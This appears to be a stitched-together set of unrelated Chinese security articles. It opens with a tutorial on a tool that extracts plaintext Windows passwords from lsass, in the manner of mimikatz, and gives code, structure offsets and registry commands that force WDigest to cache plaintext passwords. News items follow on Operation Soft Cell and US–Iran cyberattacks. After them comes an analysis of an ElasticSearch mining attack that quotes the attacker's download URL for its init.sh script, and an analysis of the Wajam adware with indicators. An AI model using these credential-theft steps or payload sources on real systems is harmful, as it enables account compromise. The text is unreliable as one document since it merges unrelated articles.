0x00 前言

Mimikatz中sekurlsa::wdigest是渗透测试中经常会用到的功能,它能够从lsass进程中提取凭据,通常可获得已登录用户的明文口令(Windows Server 2008 R2及更高版本的系统默认无法获得,需要修改注册表等待用户再次登录才能获得)。

XPN在他的博客中记录了对WDigest的研究心得,开源了一个POC,通过C++实现了在Win10_1809 x64下从lsass进程中提取凭据。

本文将会对XPN的POC进行扩展,使其支持Win7/Win8/Windows Server2008/Windows Server2008 R2/Windows Server2012/Windows Server2012 R2,记录程序实现的细节与过程。

XPN的博客:

https://blog.xpnsec.com/exploring-mimikatz-part-1/

POC:

https://gist.github.com/xpn/12a6907a2fce97296428221b3bd3b394

0x02 简介

本文将要介绍以下内容:

· 实现思路

· 程序实现细节

0x03 实现思路

1.提升至Debug权限。

2.获得lsass进程句柄。

3.枚举lsass进程中全部模块的句柄,定位wdigest.dll和lsasrv.dll在内存中的位置。

4.从lsasrv.dll中获得InitializationVector,AES和3DES的值,用于解密。

5.从wdigest.dll中获得每条凭据的信息,判断加密算法,解密获得明文口令。

具体说明如下:

1. 提升至Debug权限

代码可直接使用之前的代码:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/CheckCriticalProess.cpp#L14-L29

2. 获得lsass进程句柄

· 通过CreateToolhelp32Snapshot创建进程快照

· 遍历进程列表

· 搜索进程lsass.exe,获得pid

· 获得lsass进程句柄

3. 枚举lsass进程中全部模块的句柄,定位wdigest.dll和lsasrv.dll在内存中的位置

通过EnumProcessModules枚举lsass进程中全部模块的句柄。

4. 从lsasrv.dll中获得InitializationVector,AES和3DES的值,用于解密

不同系统的偏移位置不同,详细可参考mimikatz的源码:

https://github.com/gentilkiwi/mimikatz/blob/68ac65b426d1b9e1354dd0365676b1ead15022de/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c#L8-L32

偏移不同的位置有以下四个:

· LsaInitializeProtectedMemory_KEY

· int IV_OFFSET

· int DES_OFFSET

· int AES_OFFSET

不同系统下AES和3DES的数据结构也不同:

Win7:

typedef struct _KIWI_BCRYPT_KEY {
	ULONG size;
	ULONG tag;	// 'MSSK'
	ULONG type;
	ULONG unk0;
	ULONG unk1;
	ULONG bits;
	KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_crypto.h#L56

Win8和Win10:

typedef struct _KIWI_BCRYPT_KEY81 {
	ULONG size;
	ULONG tag;	// 'MSSK'
	ULONG type;
	ULONG unk0;
	ULONG unk1;
	ULONG unk2; 
	ULONG unk3;
	ULONG unk4;
	PVOID unk5;	// before, align in x64
	ULONG unk6;
	ULONG unk7;
	ULONG unk8;
	ULONG unk9;
	KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.h#L22

其中,KIWI_BCRYPT_KEY和KIWI_BCRYPT_KEY81中的KIWI_HARD_KEY存储AES和3DES的数据,结构如下:

typedef struct _KIWI_HARD_KEY {
	ULONG cbSecret;
	BYTE data[ANYSIZE_ARRAY]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_crypto.h#L51

ULONG cbSecret表示长度,BYTE data[ANYSIZE_ARRAY]为实际加密内容。

5. 从wdigest.dll中获得每条凭据的信息,解密出明文口令

凭据信息位于固定偏移位置,可通过搜索固定结构(BYTE PTRN_WIN6_PasswdSet[] = {0x48, 0x3b, 0xd9, 0x74};)定位。

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_wdigest.c#L14

每条凭据以双链表的格式存储,格式如下:

typedef struct _KIWI_WDIGEST_LIST_ENTRY {
	struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
	struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
	ULONG	UsageCount;
	struct _KIWI_WDIGEST_LIST_ENTRY *This;
	LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_wdigest.h#L14

每个节点偏移48的位置存储凭据信息,格式如下:

typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL
{
	LSA_UNICODE_STRING UserName;
	LSA_UNICODE_STRING Domaine;
	LSA_UNICODE_STRING Password;
} KIWI_GENERIC_PRIMARY_CREDENTIAL, *PKIWI_GENERIC_PRIMARY_CREDENTIAL;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/globals_sekurlsa.h#L36

每条凭据会根据加密数据的长度选择算法:

· 如果加密后的数据长度为8的倍数,那么在CFB模式下使用AES。

· 否则,在CBC模式下使用3DES。

0x04 程序实现细节

XPN的POC支持在Win10_1809 x64下从lsass进程中提取凭据,地址如下:

https://gist.github.com/xpn/12a6907a2fce97296428221b3bd3b394

为了使其支持Win7/Win8/Windows Server2008/Windows Server2008 R2/Windows Server2012/Windows Server2012 R2,需要考虑如下问题:

1. 添加提升至Debug权限的代码

BOOL EnableDebugPrivilege(BOOL fEnable)
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return(fOk);
}

2. 判断操作系统版本

这里可以使用之前的代码,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/GetOSVersion.cpp

需要注意的是代码对Win10的具体版本没有进行判断,而不同的Win10系统,偏移会有不同,例如Win10_1507和Win10_1903

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c#L21-L22

3. 不同操作系统版本对应不同的偏移

影响以下四个参数:

· LsaInitializeProtectedMemory_KEY

· int IV_OFFSET

· int DES_OFFSET

· int AES_OFFSET

4. 不同操作系统版本对应不同的AES和3DES数据结构

Win7:

KIWI_BCRYPT_KEY extracted3DesKey, extractedAesKey;

Win8和Win10:

KIWI_BCRYPT_KEY81 extracted3DesKey, extractedAesKey;

5.对每条凭据中加密数据的长度进行判断

使用不同的解密算法并在输出上进行体现:

· 如果加密后的数据长度为8的倍数,那么在CFB模式下使用AES。

· 否则,在CBC模式下使用3DES。

完整代码已开源,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/sekurlsa-wdigest.cpp

代码实现了对64位系统的凭据读取,输出信息同mimikatz的sekurlsa::wdigest结果相同,支持以下操作系统:

· Win7 x64/Windows Server 2008 x64/Windows Server 2008R2 x64

· Win8 x64/Windows Server 2012 x64/Windows Server 2012R2 x64

· Win10_1507(and before 1903) x64

如果想要支持Win10_1903,可添加对Win10_1903及更高版本的系统进行识别,加上对应的偏移计算即可。

如果想要支持32位系统,修改对应变量的偏移即可。

0x05 补充

对于Windows Server 2008 R2及更高版本的系统,默认配置下无法在凭据中保存明文信息,也就无法导出明文口令,可通过修改注册表启用Wdigest Auth解决这个问题,方法如下:

cmd:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

or powershell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

等待用户再次登录,就能获得凭据中的明文信息。

0x06 小结

本文对XPN的POC进行扩展,使其支持Win7/Win8/Windows Server2008/Windows Server2008 R2/Windows Server2012/Windows Server2012 R2, 实现了Mimikatz中sekurlsa::wdigest的功能,记录程序实现的细节与过程。

前言

黑客已潜伏进全球十多家移动运营商,完全握住了全球通讯的命脉。根据安全公司Cybereason于6.25发布的安全报告,在过去七年中黑客一直利用已经渗透的运营商网络来窃取敏感数据。

研究报告中提到,这个黑客的攻击目标主要针对欧洲、亚洲、非洲和中东地区的移动运营商。由于黑客拥有所有用户名和密码,这意味着他们拥有高级访问权限,为自己创建了一系列特权,其目的就是获取完整的网络控制权限,进而窃取用户数据。更严重的是,只要他们高兴,可随时切断通讯网络。

在目前,黑客窃取的海量呼叫数据中,大部分是敏感信息,如地理定位信息。

9031858c2e29be6.jpg

Cybereason的研究人员发现,攻击者通过利用旧漏洞获取了对十几家移动运营商的访问权限,例如隐藏在Microsoft Word文件中的恶意软件或者找到属于该公司的公开服务器。

详细分析

早在2018年,Cybereason的Nocturnus团队发现了针对全球电信提供商的高级持续性攻击,这种攻击的重点是获取特定的高价值目标的数据,并完全接管网络。

根据获得的数据,研究人员将这种攻击称为Operation Soft Cell,Operation Soft Cell至少自2017年以来一直活跃。

攻击者试图窃取存储在活动目录中的所有数据,以及组织中的每个用户名和密码,以及其他个人身份信息,计费数据,呼叫详细记录,凭据,电子邮件服务器,用户的地理位置。

ce6b1c6b68a3473.jpg

缓解策略

1.为Web服务器添加其他安全层,例如,使用WAF(Web Application FW)来防止面向网络的Web服务器上的攻击。

2.尽可能少地将系统或端口暴露在网络中,确保已经公开的所有Web服务器和Web服务都已修补。

3.当检测到高严重性事件时,及时响应。

4.定期主动在网络中,搜索公司的敏感设备记录,看看信息是否泄漏。

事件回顾

美国官员上周六表示,美国军方网络部队在美国总统特朗普的批准下于上周四发动了对伊朗军用计算机系统的网络攻击活动,因为总统唐纳德特朗普已经放弃了针对伊朗击落美国监视无人机的更常规军事打击的计划。因为没有被授权公开讨论这项行动,因此没有更多细节。

但根据目前已知的信息,美国军方网络部队对包括伊朗和导弹发射器在内的军用计算机系统发起了网络攻击,使其无法正常控制火箭和导弹发射器。

美国网络司令部采取的行动证明了美国日益成熟的网络军事能力以及特朗普政府领导下的更具侵略性的网络战略。在过去的一年里,美国官员一直专注于与网络空间中的对手持续接触并进行更多的进攻行动。

伊朗回应

据路透社24日报道,伊朗通信和信息技术部长穆罕默德•贾哈米(Mohammad Javad Azari-Jahromi)当天发推特称:“美国很努力地对伊朗发动网络攻击,但是失败了。”

美伊网络冲突不断

伊对美网络攻击

据网络安全公司CrowdStrike称,最近几周,伊朗黑客组织已经针对美国政府机构,以及包括金融,石油和天然气在内的经济部门,发送了大量的鱼叉式网络钓鱼邮件。FireEye也称在特朗普政府本月对伊朗石化部门实施制裁后不久,伊朗针对美国的攻击活动似乎重新开始。

CrowdStrike称参与近期对美网络攻击的伊朗黑客组织为Refined Kitten,该组织多年来一直针对美国能源和国防部门以及沙特阿拉伯和阿拉伯联合酋长国等盟国。

2016年,美国起诉伊朗黑客对美国银行和纽约市外的一座小型水坝进行一系列惩罚性网络攻击。

伊朗黑客在2012年对国有石油公司沙特阿美公司发起攻击,通过一种病毒擦除了3万台计算机上的数据,并在屏幕上留下了燃烧美国国旗的图像。

美国国土安全部在上周六发布的一份声明中表示,近期伊朗政权机构和代理人针对美国政府机构的恶意网络活动不断增加,政府和企业要尤其注意攻击者使用的数据擦除恶意软件的潜在威胁。黑客还使用鱼叉式钓鱼攻击、记住密码等方式发起攻击。

美对伊网络攻击

贾哈米在推特上还写道;“媒体曾向我们询问美国对伊朗发动网络战是否属实,长期以来,我们一直面临网络恐怖主义威胁,仅去年,我国的网络防护墙就阻止了3300万次网络攻击。”

2010年,Stuxnet病毒(被认为是美国和以色列的联合创造)破坏了数千台伊朗铀浓缩设施离心机的运行。伊朗指责美国和以色列企图通过秘密行动破坏其核计划。随后,伊朗已将其大部分基础设施从互联网上硬化并断开。

综合自:

https://threatpost.com/iran-targeting-u-s-with-destructive-wipers-warns-dhs/145950/

https://www.apnews.com/f01492c3dbd14856bce41d776248921f

https://news.yahoo.com/pentagon-secretly-struck-back-against-iranian-cyber-spies-targeting-us-ships-234520824.html?soc_src=community&soc_trk=tw

1、概述

2019年6月13日,安天蜜网捕获到利用CVE-2015-1427(ElasticSearch Groovy)远程命令执行漏洞的攻击行为。该漏洞原理是Elaticsearch将groovy作为脚本语言,并使用基于黑白名单的沙盒机制限制危险代码执行,但该机制不够严格,可以被绕过,从而导致出现远程代码执行的情况。安天对此次事件进行了详细的样本分析,并给出预防及修复建议。

2 、样本分析

2.1 关键攻击载荷

从攻击载荷来看,攻击者通过groovy作为脚本语言,向_search?pretty页面发送一段带有恶意链接为http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh的json脚本,进行恶意shell脚本下载,从而实现远程代码攻击,并进行挖矿行为。

图 2-1 数据包内容

解密后核心代码:

图 2-2 核心代码

2.2 样本分析

1) 入侵脚本分析—init.sh

攻击者通过http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh下载并执行恶意脚本init.sh来植入Dog挖矿程序,同时对主机进行扫描等一系列操作。

图 2-3 关闭防火墙

之后执行关闭防火墙、关闭selinux并释放占用的资源、杀掉其他与挖矿相关的进程、设置定时任务(每30分钟下载一次可执行文件update.sh),获取ssh权限,进行iptables规则转发修改,同时清理相关操作历史、日志等操作。

图 2-4 检查并杀死其它存在的挖矿进程

图 2-5 设置定时任务

图 2-6 恶意脚本下载地址、备份地址以及大小设置

图 2-7 清理相关日志、历史

在此过程中,脚本会检查sysupdate、networkservice 和sysguard这3个进程是否启动,如果没有则进行启动。

图 2-8 当其中一个被kill掉后,调度文件重新启动

2) 样本分析—sysguard、networkservice、sysupdate

三个样本为go语言编写并使用UPX加壳,对应的main_main函数结构分别如下:

图 2-9 sysguard-main_main函数结构

图 2-10 networkservice-main_main函数结构

图 2-11 sysupdate-main函数

通过与之前捕获的systemctI样本对比发现,此次攻击分成挖矿、扫描、函数调用三个进程进行调度。并且在networkservice样本中发现了相关漏洞利用函数和扫描函数。

图 2-12 networkservice扫描函数

通过对比之前捕获的样本发现两次攻击手法类似,不同的是此次攻击是通过sysguard、networkservice(扫描)和sysupdate三个进程共同进行的。这也意味着,发现服务器被感染后要将这三个进程同时kill掉。

3) 配置文件—config.json

在下载的配置文件中,我们发现了多个矿池地址:

表 2-1 矿池列表:

图 2-13 s配置文件

3、受影响的服务及漏洞

表 3-1 受影响的服务和漏洞:

4、IOC

表 4-1 攻击IP:

表 4-2 URL

表 4-3 MD5

5、预防与修复建议

预防建议

a) 确保系统与应用程序及时下载更新为官方提供的最新补丁;

b) 禁止使用弱口令密码;

c) 定期检查服务器异常,如CPU持续占用高、磁盘异常情况;

d) 安装终端威胁安全防护产品–安天智甲终端防御系统。安天智甲终端防御系统可以为您量身定制专属安全基线,为您打造安全的内网环境;同时,文档安全保护功能、全网病毒定点清除功能、以及国产操作系统的安全防护功能更好的解决您遇到的安全问题,保护您的服务器。

修复建议:

a) 断网、备份重要的crontab,关闭或删除定时任务:systemctl stop crontab或 rm -rf /etc/cron.d/*;

b) 锁定crontab中的恶意文件;

c) 查看并杀掉病毒进程:同时杀掉sysguard、networkservice、sysupdate三个进程;

d) 删除病毒相关文件;

e) 确认无误后,重启服务器,安装漏洞补丁,并采用安天智甲终端防御系统进行预防和保护服务器的安全。

附录一:参考链接

[1] Reversing GO binaries like a pro:https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/

背景

Wajam Internet Technology是一家初创公司,由Martin-Luc Archambault(魁北克的著名企业家)在2008年12月创立,总部位于加拿大的蒙特利尔。该公司的核心产品是一个社交搜索引擎应用程序,允许搜索社交网络上联系人共享的内容。下图展现了Wajam在执行Google搜索时的显示内容示例。

1.png

该软件自身是免费的,但软件会展示一些相关的广告,从而产生收益。该软件最初可以从Wajam的官方网站下载浏览器扩展程序,直到2014年(如下图所示)。目前,该软件主要使用按此付费(PPI)的分发模型进行分发。根据加拿大隐私专员办公室(OPC)的说法,Wajam在2011至2016年期间与50多个不同的PPI提供商合作。这种模型因使用虚假的Adobe Flash Player、反病毒软件和其他许多流行软件而受到多次批评,该软件在安装过程中欺骗用户,并在提供的安装程序中包含大量的恶意软件和广告软件。

2.png

软件历史及用户投诉

根据加拿大隐私专员办公室(OPC)在2017年的报告和新闻调查,作为一家企业存在的Wajam具有一些不同寻常的历史:

1. 该公司在2012至2014年期间,逐步移除了其软件连接到Facebook、LinkedIn和Google+帐户的功能,尽管该软件的主要功能取决于这些社交平台。

2. 截至2012年,许多用户开始投诉Web浏览器中出现大量广告的展示,并且卸载Wajam的难度非常高。根据D&B Hoovers声称,该公司在2013年的净利润约为420万美元。

用户关于Wajam的投诉(1):

3.png

用户关于Wajam的投诉(2):

4.png

用户关于Wajam的投诉(3):

5.png

3. 由于该软件使用了用户的个人信息,因此OPC正在调查该公司是否违反个人信息保护和电子文件法案(PIPEDA)。但与此同时,该公司被出售给一家总部位于香港的新成立公司,名称为Iron Mountain Technology Limited(IMTL)。

下图的时间表中总结了公司历史上的一些重大事件:

6.png

与公司历史相对应,下图展现了将反检测和反分析功能添加到软件中的时间节点:

7.png

针对不同版本Wajam的分析

多年来,已经发布了多种版本的Wajam。由于开发人员使用内部名称和版本编号来区分不同的变种和版本,因此我们可以对收集到的样本进行分类。下表总结了已经确定的版本。需要注意的是,下面体现的日期是基于在野外观察到的样本的时间,它们很可能在更早时间就已经发布。

(1)内部名称:Priam

主要版本号:1

类型:浏览器扩展

分发时间:2011年年底至2014年

(2)内部名称:Wajam Internet Enhancer或Wajam Network Enhancer

主要版本号:2

类型:Windows应用程序

分发时间:2013至2016年

(3)内部名称:Wajam Web Enhancer或Social2Search

主要版本号:1、9

类型:Windows应用程序

分发时间:2014年至2017年

(4)内部名称:Wajam Browser Enhancer或Social2Search或SearchAwesome

主要版本号:3、11、13

类型:Windows应用程序

分发时间:2016年至今

(5)内部名称:SearchPage

主要版本号:N/A

类型:macOS应用程序

分发时间:2017年至今

流量注入

每个版本的Wajam都会将相同的Payload注入到用户的网络流量之中,因此不同版本的差异在于用于进行拦截和注入的技术。但是,他们使用的技术越来越类似于恶意软件开发人员通常使用的技术。一旦Wajam被安装在计算机上,并且已经准备好截获Web流量,该软件会产生如下行为:

1. 从远程服务器下载支持的网站列表(如下图所示),该列表将域名映射到要注入的相应JavaScript文件的路径。此外,还有一些针对特定站点的设置。

8.png

2. 如果用户请求的URL与其中一个模式(撰写本文时,最新版本有103个)匹配,则会注入到相应的JavaScript文件中(如下图所示)。该脚本执行上下文广告的注入,如果该网页是搜索引擎,还将显示与用户输入的搜索关键字相对应的推文。

9.png

3. 最后,该软件尝试从Wajam远程服务器更新列表。

个人信息泄露

Wajam在安装期间或软件运行的过程中,逐步收集越来越多有关其用户的个人信息,其中包括:

1. 用于标识特定用户的一些ID(如上图所示);

2. 在安装过程中会向Wajam服务器发送大量日志,以确保正确完成(如下图所示);

3. 某些用户设置的特定信息(例如:安装的软件列表、主机型号)也会发送至Wajam服务器。

Wajam在安装过程中进行HTTP查询:

10.png

分发机制

除了浏览器扩展之外,所有版本均由按照安装次数付费的提供商作为NSIS安装程序分发。此外,PDB路径展示了开发人员在多年来是如何逐渐对他们的软件进行模糊。可以看出,后续的版本大多数都有更长的PDB路径,并且包含随机字符。

1.24版本(2012年)

C:\Users\guillaume\Desktop\branches\Wajam\guillaume-installer-ie11-fix\Clients\Extensions\IE_BHO\source\wajam\Release\priam_bho.pdb

2.12版本

d:\jenkins\workspace\wajam-proxy-2.12-special-build-for-avs\WJProxy\obj\x86\Release\WajamInternetEnhancer.pdb

1.71版本(2016年)

D:\jenkins\workspace\stable-1.71-updates\src\Release\wajam.pdb

2.40版本

D:\jenkins\workspace\stable-2.40-update\build-tools\brh\Release\brh.pdb

3.5版本

D:\jenkins\workspace\stable-ndi-3.5\service\Win32\Release\service.pdb

1.75版本(2017年)

JTBEFHYO.pdb

9.68版本

213.pdb

13.14版本(2018年)

K:\ga3ENOmcbYZO\5KSW\LXp8N\8PAW5Gq\jilgGJGN\wpoaCyFg\PC\ryX9i9P5jRrW\yaG9wzTA\vev\v8Co9rukntHI\FkVb9h7W\LCJhFhGGbCeC\m1swYV.pdb

13.14版本(2019年)

C:\D6IMFxtAM\IrsnBhaB8\LpY2EgA6h6GILy\xnyDw\tB\6hQ5AYqFBonqUM\f6rO3gJCEu6c\AFDkjWdw\iWFUHutqE\ywARjkk\tLo4m0i4r6psP3EHIIy.pdb

功能的演变

(1)Priam:浏览器扩展

从2011年到2013年底,Wajam作为浏览器扩展分发。在Web浏览器扩展中,清单文件(Manifest)描述了要注入的网页,以及如果用户访问了这些页面,JavaScript代码会如何注入到这些页面之中。如下图所示,所有网页都可以在这里匹配,因此可以在用户访问的每个网页中注入脚本。

Manifest.json文件中的部分配置:

11.png

较旧版本的浏览器扩展中包含屏幕捕获插件DLL的痕迹(如下图所示),借助于Netscape Plugin API(适用于Chrome和Firefox)或浏览器帮助程序对象(适用于Internet Explorer)。

Wajam浏览器扩展插件中的汇编代码片段:

12.png

在相同版本中,JavaScript代码用于将浏览器的书签发送到Wajam服务器。无论是截图还是书签,二者都可能包含有关用户的敏感个人信息,我们并不清楚Wajam对此类信息的处理方式如何。当前版本的扩展中,不存在任何此类功能。

由于该软件被各种安全产品检测为广告恶意软件(Adware),因此Wajam首先尝试通过与安全厂商进行沟通来取消检测。

尝试取消McAfee对Wajam浏览器扩展的检测:

13.png

另一次尝试取消对Wajam浏览器扩展的检测:

14.png

(2)WJProxy

在2014年,我们观察到Wajam策略的变化。他们的软件不再作为浏览器扩展提供,下载链接也已经从官方网站(wajam[.]com)中删除,使用Fiddler Web代理的Windows新版本由PPI提供商分发。

在新版本的功能中,最引人注目的3点是:

1. 软件使用SeDebugPrivilege以管理员访问权限启动主可执行文件;

2. 软件生成证书,并将其添加到根证书列表中,以拦截SSL/TLS流量,从而避免在将JavaScript代码注入网页时出现安全警告;

3. 设置了一个代理,拦截所有Web流量和已安装Web浏览器的首选项,并篡改Windows注册表,以使用这一代理。

(3)与战锤奇幻游戏相关的Wajam

在观察到WJProxy的同时,我们还在野外发现了另一个具有DLL注入功能的版本。该版本没有使用第三方代理,而是将DLL注入到Web浏览器之中,以便对非加密流量的函数进行挂钩和操纵。下图展现了该版本的功能架构。

15.png

有趣的是,这个版本中使用了一些混淆技术,例如字符串加密。

NtLoadDriver字符串的解密(Hex-Rays输出):

16.png

字符串解密例程(Hex-Rays输出):

17.png

此外,包含受支持网站列表的文件和要挂钩的函数地址(如下图所示)都是加密的,采用AES-256 CFB的加密算法。人们可能会注意到这些文件的名称分别是waaagh和snotling,可能是与战锤奇幻游戏相关。还有其他子字符串同样与该游戏有所关联,例如注入的DLL名称是wajam_goblin.dll,以及一些二进制文件中的其他字符串,这些线索都表明Wajam的作者对幻想游戏或小说感兴趣。

包含Web浏览器函数挂钩的文件:

18.png

关于DLL注入进程自身,可以根据赋予注入工具的参数,以不同的方式来实现。下表中总结了不同的选项:

–set-windows-hook(SetWindowsHookEx技术)

–inject(CreateRemoteThread技术)

–manual_mapping_inject(Blackbone内存黑客库)

在注入DLL之后,注入工具会检查目标进程是否为Web浏览器。如果是,就会使用MinHook和解密的snotlings文件来挂钩操作非加密Web流量的函数,例如Firefox所使用的PR_Write、PR_Read、Win32 API中的send、recv等。

由于上述技术通常会被恶意软件使用,所以Wajam采用了多种技术,保护其自身免受安全产品的检测:

1. 检查Windows注册表中的反病毒键值(如下图所示),并将找到的任何内容发送到Wajam服务器。

19.png

2. 根据我们所发现的样本,会对可执行文件的名称稍作修改,例如WajWEnhance.exe、WaWEn.exe、WebEnhancer.exe等。

3. 从2015年年底开始,包含一个minifilter驱动程序,这是一个磁盘上的软件文件,用于隐藏除白名单之外的所有进程(如下图所示)。

20.png

4. 定期使用从Wajam服务器下载的补丁修改自身代码,这些补丁采用了各种RC4或XOR加密方式。

最近,Chrome和Firefox在各自的网络浏览器中分别阻止了第三方代码注入,因此,如果受害者使用这些浏览器的任何一个现有版本,那么该版本的Wajam将不再有效。

(4)深入内核的Wajam

为了对抗新的安全机制,另一个新版本的Wajam在2016年年中发布,增加了相当多的新功能,包括使用NetFilter驱动程序拦截流量并将流量直接注入内核空间。

21.png

该版本以防止检测为目的,做出了许多地方的修改:

1. 使用复杂的代码和数据混淆(如下图所示),其中的一些技术看起来像是Stunnix C/C++混淆工具。

Windows API名称的解码(Hex-Rays输出):

22.png

字符串解码例程(Hex-Rays输出):

23.png

2. 向Windows Defender中添加例外项(在命令行中,使用-command Add-MpPreference –ExclusionPath命令);

3. 将注册表项DontReportInfectionInformation和DontOfferThroughWUAU设置为1,禁用感染报告和MSRT(Malicious Software Removal Tool,恶意软件删除工具)更新;

4. 可执行文件使用归属于Wajam的域名对证书进行签名,并且定期更改(如下图所示)。

在VirusTotal中找到的Wajam可执行文件的数字证书:

24.png

在VirusTotal中找到的另一个Wajam可执行文件的数字证书:

25.png

根据魁北克企业注册的信息(Quebec Enterprise Register),这些域名是Wajam的商标(如下图所示)。此外,一些域名(参见IoC中的更多示例)与蒙特利尔街道名称相关(例如::“Adrien Provencher”、“Bernard”、“Mont-Royal”等)。

魁北克企业注册信息中的一些Wajam域名:

26.png

(5)SearchPage:Apple风格的Wajam

从2017年开始,我们检测到名为SearchPage的广告恶意软件,这是针对macOS系统的新版本Wajam。经过对样本进行分析,发现它使用了最新Windows版本恶意软件中使用的一些域名。

Info.plist中的部分内容,展示了Wajam注册的域名:

27.png

该内容作为名为spiinstall.app的macOS应用程序包分发,在Keychain(macOS的根证书位置)中安装Safari插件和证书。该插件以类似于Windows版本恶意软件的方式注入流量。

在2018年中期发现的另一个版本使用了mitmproxy(用Python编写的Web代理)来拦截网络流量,而不再是Safari扩展。下图展现了如何使用代理,以及脚本中以硬编码形式存在的由Wajam注册的URL。

使用mitmproxy注入JavaScript:

28.png

由于恶意软件已经被MalwareBytes记录,因此可以在他们的分析中找到更多详细信息。

总结

针对本恶意软件的研究表明,尽管将所有权已经转让给一家香港公司,但Wajam仍然非常活跃,并且具有多个名称,例如:SearchAwesome、Social2Search、SearchPage等。我们认为,这可以用来追踪恶意软件的发展轨迹,并在PPI分发的帮助之下扩大恶意软件的影响。

我们的分析表明,随着新版本的陆续发布,Wajam用于注入流量的技术变得越来越高级和持久。他们从一个简单的浏览器扩展(2011年)开始,切换到代理方式(2013年年底),然后直接将代码注入到Web浏览器并挂钩网络通信功能(2014年),随后使用驱动程序直接拦截内核中的流量空间。上述变化历程,主要是为了对抗多年来浏览器或操作系统内置的安全保护。

使用这些技术,意味着可能会被安全产品检测到,而Wajam也确实发生了这种情况。该公司曾经尝试过与安全厂商直接沟通,要求取消检测(2012-2013年),但随后很快就改变了他们的策略(2014年),在他们的软件中使用混淆、代码保护和反检测技术,以隐藏真实行为。

Wajam的案例提醒我们,“广告恶意软件”和“可能不需要的应用程序”之间还存在模糊的界限。实际上,即使使用了一些技术来隐藏他们对用户和安全产品的行为,“显示广告”还是比“对用户有害”要更烦人一些。然而,需要注意的是,某些软件所使用的持久性级别。

IoC

哈希值:

· 6a393ecb2861a27240d322dd407f6adb7218b0a5(Win32/Adware.Wajam.A)

· 4793f3bdab6df0ac6481b3780a10bec0ac10dce1(Win32/Adware.Wajam.BH)

· 7a45f4c7a7eeaa6ef97c036a7bfc992d405cd270(Win32/Adware.Wajam.G)

· 89d03d810345f491e7999af04873932ce77f7cd1(MSIL/Wajam.F)

· f0c78bece6e447333bcb21972dc440aee723f12d(Win32/Adware.Wajam.AC)

· b6733a21f5fbf34286374ed5cd02e86b6c369db1(Win32/Adware.Wajam.BH)

· 3d29d74b68d749d45596eb04063c4640a523c0ba(Win32/Adware.Wajam.BH)

· f216d986f3fdc838aaca05fafb8e5b728e36513b(Win32/Adware.Wajam.AN)

· 34ce5529ad0f9d0101f2ca635876082830b48b83(Win32/Adware.Wajam.AL)

· f5f71c6f6924fa94eb1f5a8c4a4b1775d64e9e87(Win32/NetFilter.A)

· 336efd61ab265977144ca308e635cfbee29b86a8(Win32/NetFilter.N)

· a61a9262bc13c023750af89a483cb571663c8a0e(Win32/Adware.Zdengo.CA)

· 83e05c610d0fe6488183b7db812c69962180aabb(Win32/Adware.Zdengo.CPZ)

· ae97c477f803121185f3c9f44c22934941df7e94(Win64/Riskware.NetFilter.AA)

· 6da090ad4a324e12b03a492b62cb47d274b3cd6e(Win32/Adware.Zdengo.DED)

· 35530aa44220ae7e96de05fd90dd1e64bb6cd199(Win32/Adware.Zdengo.COT)

· 6b626695d5d1c64376af81cef441e17cdc92f006(Win32/Adware.Zdengo.CXG)

· 6725a7c721bea20494e2e6036b11bb6d0531f829(Win32/Adware.Zdengo.CRR)

· fb26f538384cd50988a2a5f27b6443f16a92cee1(Win32/RiskWare.NetFilter.AY)

· ecd1e57c1fdc32052f0be1241691e91f869ef026(OSX/Adware.SearchPage.B)

· ff6c756fc3cfa06c53fe9458d7608c7c350c83bb(OSX/Adware.SearchPage.B)

· fea551bcfbdbaba20b0b6556649029928888faf2(OSX/Adware.SearchPage.A)

恶意IP地址:

· 217.182.14.0/24

· 131.153.5.192/29

· 198.24.161.72/29

恶意域名:

· adrienprovenchertechnology[.]com
· armandlamoureuxtechnology[.]com
· bernardtechnology[.]com
· carmenbienvenuetechnology[.]com
· cartiertechnology[.]com
· chabaneltechnology[.]com
· chaumonttechnology[.]com
· colonialetechnology[.]com
· cormacktechnology[.]com
· customsearches[.]net
· despinstechnology[.]com
· hutchisontechnology[.]com
· imt-dashboard[.]tech
